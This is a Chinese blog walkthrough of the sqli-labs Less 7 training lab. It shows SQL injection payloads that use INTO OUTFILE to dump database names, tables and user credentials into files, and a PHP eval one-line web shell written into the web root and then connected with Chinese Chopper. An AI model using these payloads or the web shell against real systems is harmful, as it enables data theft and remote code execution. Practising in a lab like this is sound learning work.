7.sqli-labs-Less7

Less 7 GET-Dump into outfile-String


1、根据提示:是把字段值写入一个可以输出的文本+字符串类型注入

①、找闭合类型(看源码)
②、查看目录结构(使用第一关的@@basedir或者@@datadir,或者直接看靶机吧)

2、一直回显查You are in… Use outfile…,很难找出闭合类型;

①看Less7的index.php下的源码:SELECT * FROM users WHERE id=((’$id’)) LIMIT 0,1
//闭合手法’))

3、查看靶机目录:/var/www/html/sqlilabs/Less-7

①ls -l
drwxr-xr-x. 2 root root 4096 3月 29 13:18 Less-7
//注意该目录的所有者不是mysql,而是root,我们需要把其他人的写入权限加上才能写进文件
②chmod o+w Less-7
③ls -l
drwxr-xrwx. 2 root root 4096 3月 29 13:18 Less-7

4、构造payload

?id=1’)) union select 1,2,3 into outfile “/var/www/html/sqilabs/Less-7/test1.txt”%23

5、浏览器访问该文件,没有

//发现靶机报错result.txt
1’)) union select 1,2,3 into outfile “/var/www/html/sqilabs/Less-7/test1.txt” #

6、此处我们需要在/etc/my.cnf里面的[mysql]下加一条语句: secure_file_priv="/"

注意:我们可以通过secure_file_priv 来完成对导入|导出的限制

secure_file_priv

  1、限制mysqld 不允许导入 | 导出

     secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

     secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制

             secure_file_priv=" "(没有用,瞎搞。。。)

   4、导出到任意目录
   
              secure_file_priv="/"(亲测,可以)

7、再次执行:

测试:
?id=1’)) union select 1,2,3 into outfile “/var/www/html/sqlilabs/Less-7/test1.txt”%23
//浏览器访问:http://192.168.97.142/sqlilabs/Less-7/test1.txt

爆库:
?id=1’)) union select database(),version(),user() into outfile “/var/www/html/sqlilabs/Less-7/database.txt”%23

爆表:
?id=1’)) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 into outfile “/var/www/html/sqlilabs/Less-7/table.txt”%23

爆字段:
?id=1’)) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 into outfile “/var/www/html/sqlilabs/Less-7/column.txt”%23

爆字段值:
?id=1’)) union select 1,(select group_concat(concat_ws(char(32,58,32),username,password)) from users),3 into outfile “/var/www/html/sqlilabs/Less-7/dump.txt”%23

8、上传一个Webshell,菜刀连接

?id=1’)) union select 1,"<?php @eval($_POST['123']);?>",3 into outfile “/var/www/html/sqlilabs/Less-7/1.php”%23
//注意一句话木马里面的单引号于外面的双引号是区别,不能一样,否则不成功;

菜刀连接:http://192.168.97.142/sqlilabs/Less-7/1.php(密码123)
在这里插入图片描述

发布了148 篇原创文章 · 获赞 34 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/105178374